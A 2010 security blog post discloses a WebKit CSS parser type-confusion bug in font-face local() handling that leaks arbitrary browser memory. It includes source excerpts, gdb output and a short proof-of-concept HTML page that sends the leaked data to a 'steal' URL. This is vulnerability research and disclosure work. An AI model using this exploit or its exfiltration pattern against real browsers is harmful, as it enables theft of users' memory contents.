Wednesday, December 15, 2010

WebKit CSS Type Confusion

Here is an interesting WebKit vulnerability I came across and reported to Google, Apple and the WebKit.org developers.

Description: WebKit CSS Parser Type Confusion
Software Affected: Chrome 7/8, Safari 5.0.3, Epiphany 2.30.2, WebKit-r72146 (others untested)
Severity: Medium

The severity of the vulnerability was marked Medium by the Chrome developers because the bug can only result in an information leak. I don't have a problem with that but I have some more thoughts on it at the end of the post. But first the technical details.

The WebKit CSS parser internally stores a CSSParserValueList which contains a vector of CSSParserValue structures. These structures are used to hold the contents of parsed CSS attribute values such as integers, floating point numbers or strings. Here is what a CSSParserValue looks like.
struct CSSParserValue {
    int id;
    bool isInt;
    union {
        double fValue;
        int iValue;
        CSSParserString string;
        CSSParserFunction* function;
    };
    enum {
        Operator = 0x100000,
        Function = 0x100001,
        Q_EMS    = 0x100002
    };
    int unit;

    PassRefPtr createCSSValue();
};
When WebKit has successfully parsed a CSS value it will set the unit variable to a constant indicating what type it should be interpreted as. So depending on the value of unit a different member of the union will be used to address the CSS value later in the code. If the value was a floating point or an integer the fValue or iValue will store that number. If the value is a string a special CSSParserString structure is used to copy the string before placing it into the DOM as element.style.src.

The vulnerability exists in a function responsible for parsing the location of a font face source. So we find ourselves in WebCore::CSSParser::parseFontFaceSrc() found in CSSParser.cpp of the WebKit source. I have clipped certain parts of the function for brevity.
bool CSSParser::parseFontFaceSrc()
{
    ...
[3629]        } else if (val->unit == CSSParserValue::Function) {
[3630]            // There are two allowed functions: local() and format().
[3631]           CSSParserValueList* args = val->function->args.get();
[3632]            if (args && args->size() == 1) {
[3633]                if (equalIgnoringCase(val->function->name, "local(") && !expectComma) {
[3634]                    expectComma = true;
[3635]                    allowFormat = false;
[3636]                    CSSParserValue* a = args->current();
[3637]                    uriValue.clear();
[3638]                    parsedValue = CSSFontFaceSrcValue::createLocal(a->string);
At this point in the code the CSS parser has already extracted the value of the font face source and now the code is trying to determine whether the font value is local or not. If the source of the font is wrapped in a local() URL then we hit the code above. The problem here is that the CSSParserValue's unit variable is never checked on line 3633. The code assumes the value previously parsed is a string and the CSSParserString structure within the union has already been initialized by a previous caller. Now on line 3636 a CSSParserValue pointer, a, is assigned to the value and on line 3638 the a->string operator is called on it. Here is what that structure looks like:
struct CSSParserString {
    UChar* characters;
    int length;

    void lower();

    operator String() const { return String(characters, length); }
    operator AtomicString() const { return AtomicString(characters, length); }
};
So when a->string is called in line 3638 WebKit's internal string functions will be called to create a string with a source pointer of a->string.characters with a length of a->string.length so it can be added to the DOM by CSSParser::addProperty(). This code assumes the value is a string but this CSSParserValue may not have been initialized as one. Lets take a second look at the union again in the CSSParserValue structure:
    union {
        double fValue;               // 64 bits
        int iValue;                  // 32 bits
        CSSParserString string;      // sizeof(CSSParserString)
        CSSParserFunction* function; // 32 bits
    };
The double fValue will occupy 64 bits in memory on a 32 bit x86 platform [1]. This means in memory at runtime the first dword of fValue overlaps with string.characters and the second with string.length. If we can supply a specific floating point value as the source location of this font face we can trigger an information leak when WebKit interprets it as a CSSParserString structure and attempts to make a copy of the string. I should also note that the string creation uses StringImpl::create which copies the string using memcpy, so we don't have to worry about our stolen data containing NULL's. Exploiting this bug is very easy:
      < html>
      < script>
        function read_memory() {
            ele = document.getElementById('1');
            document.location = "http://localhost:4567/steal?s=" + encodeURI(ele.style.src);
        }
      < /script>
      < h1 id=1 style="src: local(0.(your floating point here) );" />
      < button onClick='read_memory()'>Click Me
      < /html>
That floating point number will occupy the first 64 bits of the union. The double fValue when holding this value will look like this in memory 0xbf95d38b 0x000001d5. Which means (a->string.characters = 0xbf95d38b) and (a->string.length = 0x000001d5). Through our floating point number we can control the exact address and length of an arbitrary read whose contents will then be added to the DOM as the source of the font face. In short, an attacker can steal as much content as he wants from anywhere in your browsers virtual memory. Here is the CSSParserValue structure in memory just after the assignment of the CSSParserValue pointer, a, when running the exploit.
(gdb) print *a
$167 = {id = 0, isInt = false, {fValue = 9.9680408499984197e-312, iValue = -1080700021, 
string = {characters = 0xbf95d38b, length = 469}, function = 0xbf95d38b}, unit = 1}

(gdb) x/8x a
0xb26734f0:    0x00000000    0x00000100    0xbf95d38b    0x000001d5
0xb2673500:    0x00000001    0x00000000    0x00000000    0x00000000
Here is where the stack is mapped in my browser:
bf93a000-bf96e000 rw-p 00000000 00:00 0          [stack]
I did some testing of this bug using Gnome's Epiphany browser. It also uses WebKit and is a little easier to debug than Chrome. Here is a screenshot of the exploit using JavaScript to read 469 bytes from the stack and displaying it in an alert box:


OK so it's an info leak. No big deal... right? Info leaks are becoming more valuable as memory corruption mitigations such as ASLR (Address Space Layout Randomization) become more adopted by software vendors. An info leak essentially makes ASLR worthless because an attacker can use it to find out where your browsers heap is mapped or where a specific DLL with ROP gadgets resides in memory. Normally an info leak might come in the form of exposing a single address from an object or reading a few bytes off the end of an object, which exposes vftable addresses. These types of leaks also make exploitation easier but usually don't expose any of the web content displayed by the browser. In the case of this bug we have to specify what address to read from. If an unmapped address is used or the read walks off the end of a page then we risk crashing the process. The attacker doesn't have to worry about this on platforms without ASLR.

But almost as important as reliable code execution, the more sensitive content we push into web browsers the more valuable a highly reliable and controllable info leak could become. You could theoretically use it to read an open document or webmail or any other sensitive content the users browser has open at the time or has cached in memory from a previous site.

Anyways, hope you enjoyed the post, it was a fun vulnerability to analyze. Thanks to Google, Apple and WebKit for responding so quickly [2], even to a Medium! Now go and update your browser.

[1] http://en.wikipedia.org/wiki/Double_precision_floating-point_format
[2] http://trac.webkit.org/changeset/72685/trunk/WebCore/css/CSSParser.cpp